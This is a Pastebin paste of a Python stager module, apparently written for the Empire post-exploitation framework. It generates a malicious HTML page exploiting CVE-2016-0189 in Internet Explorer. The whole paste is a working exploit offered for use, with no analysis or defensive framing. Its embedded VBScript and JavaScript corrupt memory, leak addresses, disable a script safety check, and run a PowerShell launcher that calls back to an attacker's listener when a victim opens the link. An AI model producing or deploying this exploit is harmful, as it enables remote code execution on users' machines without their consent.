indi_g34r

MS16-051 / CVE-2016-0189

Sep 17th, 2016
198
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 8.75 KB | None | 0 0
  1. #MS16-015 / CVE-2016-0189
  2. #https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0189
  3. from lib.common import helpers
  4.  
  5. class Stager:
  6.  
  7.     def __init__(self, mainMenu, params=[]):
  8.  
  9.         self.info = {
  10.             'Name': 'MS16-051 IE RCE',
  11.  
  12.             'Author': ['www.cgsec.co.uk'],
  13.  
  14.             'Description': ('Leverages MS16-051 to execute powershell in unpatched browsers. This is a file-less vector which works on IE9/10/11 and all versions of Windows'),
  15.  
  16.             'Comments': [
  17.                 'Target will have to open link with vulnerable version of IE.'
  18.             ]
  19.         }
  20.  
  21.         # any options needed by the stager, settable during runtime
  22.         self.options = {
  23.             # format:
  24.             #   value_name : {description, required, default_value}
  25.             'Listener' : {
  26.                 'Description'   :   'Listener to generate stager for.',
  27.                 'Required'      :   True,
  28.                 'Value'         :   ''
  29.             },
  30.             'StagerRetries' : {
  31.                 'Description'   :   'Times for the stager to retry connecting.',
  32.                 'Required'      :   False,
  33.                 'Value'         :   '0'
  34.             },
  35.             'OutFile' : {
  36.                 'Description'   :   'File to output HTML to, otherwise displayed on the screen.',
  37.                 'Required'      :   True,
  38.                 'Value'         :   ''
  39.             },
  40.             'Base64' : {
  41.                 'Description'   :   'Switch. Base64 encode the powershell output.',
  42.                 'Required'      :   True,
  43.                 'Value'         :   'True'
  44.             },            
  45.             'UserAgent' : {
  46.                 'Description'   :   'User-agent string to use for the staging request (default, none, or other).',
  47.                 'Required'      :   False,
  48.                 'Value'         :   'default'
  49.             },
  50.             'Proxy' : {
  51.                 'Description'   :   'Proxy to use for request (default, none, or other).',
  52.                 'Required'      :   False,
  53.                 'Value'         :   'default'
  54.             },
  55.             'ProxyCreds' : {
  56.                 'Description'   :   'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
  57.                 'Required'      :   False,
  58.                 'Value'         :   'default'
  59.             }
  60.         }
  61.  
  62.         # save off a copy of the mainMenu object to access external functionality
  63.         #   like listeners/agent handlers/etc.
  64.         self.mainMenu = mainMenu
  65.  
  66.         for param in params:
  67.             # parameter format is [Name, Value]
  68.             option, value = param
  69.             if option in self.options:
  70.                 self.options[option]['Value'] = value
  71.  
  72.  
  73.     def generate(self):
  74.  
  75.         # extract all of our options
  76.         listenerName = self.options['Listener']['Value']
  77.         base64 = self.options['Base64']['Value']
  78.         userAgent = self.options['UserAgent']['Value']
  79.         proxy = self.options['Proxy']['Value']
  80.         proxyCreds = self.options['ProxyCreds']['Value']
  81.         stagerRetries = self.options['StagerRetries']['Value']
  82.  
  83.         encode = False
  84.         if base64.lower() == "true":
  85.             encode = True
  86.  
  87.         # generate the launcher code
  88.         launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=encode, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
  89.  
  90.         if launcher == "":
  91.             print helpers.color("[!] Error in launcher command generation.")
  92.             return ""
  93.         else:
  94.             code =  "<html>\n"
  95.             code += "<head>\n"
  96.             code += "<meta http-equiv=\"x-ua-compatible\" content=\"IE=10\">\n"
  97.             code += "</head>\n"
  98.             code += "<body>\n"
  99.             code += "    <script type=\"text/vbscript\">\n"
  100.             code += "        Dim aw\n"
  101.             code += "        Dim plunge(32)\n"
  102.             code += "        Dim y(32)\n"
  103.             code += "        prefix = \"%u4141%u4141\"\n"
  104.             code += "        d = prefix & \"%u0016%u4141%u4141%u4141%u4242%u4242\"\n"
  105.             code += "        b = String(64000, \"D\")\n"
  106.             code += "        c = d & b\n"
  107.             code += "        x = UnEscape(c)\n"
  108.             code += "       \n"
  109.             code += "        Class ArrayWrapper\n"
  110.             code += "            Dim A()\n"
  111.             code += "            Private Sub Class_Initialize\n"
  112.             code += "                  ReDim Preserve A(1, 2000)\n"
  113.             code += "            End Sub\n"
  114.             code += "           \n"
  115.             code += "            Public Sub Resize()\n"
  116.             code += "                ReDim Preserve A(1, 1)\n"
  117.             code += "            End Sub\n"
  118.             code += "        End Class\n"
  119.             code += "       \n"
  120.             code += "        Class Dummy\n"
  121.             code += "        End Class\n"
  122.             code += "       \n"
  123.             code += "        Function getAddr (arg1, s)\n"
  124.             code += "            aw = Null\n"
  125.             code += "            Set aw = New ArrayWrapper\n"
  126.             code += "       \n"
  127.             code += "            For i = 0 To 32\n"
  128.             code += "                Set plunge(i) = s\n"
  129.             code += "            Next\n"
  130.             code += "       \n"
  131.             code += "            Set aw.A(arg1, 2) = s\n"
  132.             code += "       \n"
  133.             code += "            Dim addr\n"
  134.             code += "            Dim i\n"
  135.             code += "            For i = 0 To 31\n"
  136.             code += "                If Asc(Mid(y(i), 3, 1)) = VarType(s) Then\n"
  137.             code += "                   addr = strToInt(Mid(y(i), 3 + 4, 2))\n"
  138.             code += "                End If\n"
  139.             code += "                y(i) = Null\n"
  140.             code += "            Next\n"
  141.             code += "       \n"
  142.             code += "            If addr = Null Then\n"
  143.             code += "                document.location.href = document.location.href\n"
  144.             code += "                Return\n"
  145.             code += "            End If\n"
  146.             code += "            getAddr = addr\n"
  147.             code += "        End Function\n"
  148.             code += "       \n"
  149.             code += "        Function leakMem (arg1, addr)\n"
  150.             code += "            d = prefix & \"%u0008%u4141%u4141%u4141\"\n"
  151.             code += "            c = d & intToStr(addr) & b\n"
  152.             code += "            x = UnEscape(c)\n"
  153.             code += "       \n"
  154.             code += "            aw = Null\n"
  155.             code += "            Set aw = New ArrayWrapper\n"
  156.             code += "       \n"
  157.             code += "            Dim o\n"
  158.             code += "            o = aw.A(arg1, 2)\n"
  159.             code += "       \n"
  160.             code += "            leakMem = o\n"
  161.             code += "        End Function\n"
  162.             code += "       \n"
  163.             code += "        Sub overwrite (arg1, addr)\n"
  164.             code += "            d = prefix & \"%u400C%u0000%u0000%u0000\"\n"
  165.             code += "            c = d & intToStr(addr) & b\n"
  166.             code += "            x = UnEscape(c)\n"
  167.             code += "       \n"
  168.             code += "            aw = Null\n"
  169.             code += "            Set aw = New ArrayWrapper\n"
  170.             code += "       \n"
  171.             code += "       \n"
  172.             code += "            aw.A(arg1, 2) = CSng(0)\n"
  173.             code += "        End Sub\n"
  174.             code += "       \n"
  175.             code += "        Function exploit (arg1)\n"
  176.             code += "            Dim addr\n"
  177.             code += "            Dim csession\n"
  178.             code += "            Dim olescript\n"
  179.             code += "            Dim mem\n"
  180.             code += "       \n"
  181.             code += "       \n"
  182.             code += "            Set dm = New Dummy\n"
  183.             code += "       \n"
  184.             code += "            addr = getAddr(arg1, dm)\n"
  185.             code += "       \n"
  186.             code += "            mem = leakMem(arg1, addr + 8)\n"
  187.             code += "            csession = strToInt(Mid(mem, 3, 2))\n"
  188.             code += "       \n"
  189.             code += "            mem = leakMem(arg1, csession + 4)\n"
  190.             code += "            olescript = strToInt(Mid(mem, 1, 2))\n"
  191.             code += "            overwrite arg1, olescript + &H174\n"
  192.             code += "       Set Object = CreateObject(\"Wscript.Shell\")\n"
  193.             code += "       Object.run(\""
  194.             code +=         launcher +  "\")\n"
  195.             code += "        End Function\n"
  196.             code += "       \n"
  197.             code += "        Function triggerBug\n"
  198.             code += "            aw.Resize()\n"
  199.             code += "            Dim i\n"
  200.             code += "            For i = 0 To 32\n"
  201.             code += "                ' 24000x2 + 6 = 48006 bytes\n"
  202.             code += "                y(i) = Mid(x, 1, 24000)\n"
  203.             code += "            Next\n"
  204.             code += "        End Function\n"
  205.             code += "    </script>\n"
  206.             code += "       \n"
  207.             code += "    <script type=\"text/javascript\">\n"
  208.             code += "        function strToInt(s)\n"
  209.             code += "        {\n"
  210.             code += "            return s.charCodeAt(0) | (s.charCodeAt(1) << 16);\n"
  211.             code += "        }\n"
  212.             code += "        function intToStr(x)\n"
  213.             code += "        {\n"
  214.             code += "            return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);\n"
  215.             code += "        }\n"
  216.             code += "        var o;\n"
  217.             code += "        o = {\"valueOf\": function () {\n"
  218.             code += "                triggerBug();\n"
  219.             code += "                return 1;\n"
  220.             code += "            }};\n"
  221.             code += "        setTimeout(function() {exploit(o);}, 50);\n"
  222.             code += "    </script>\n"
  223.             code += "</body>\n"
  224.             code += "</html>"
  225.  
  226.     return code
Add Comment
Please, Sign In to add comment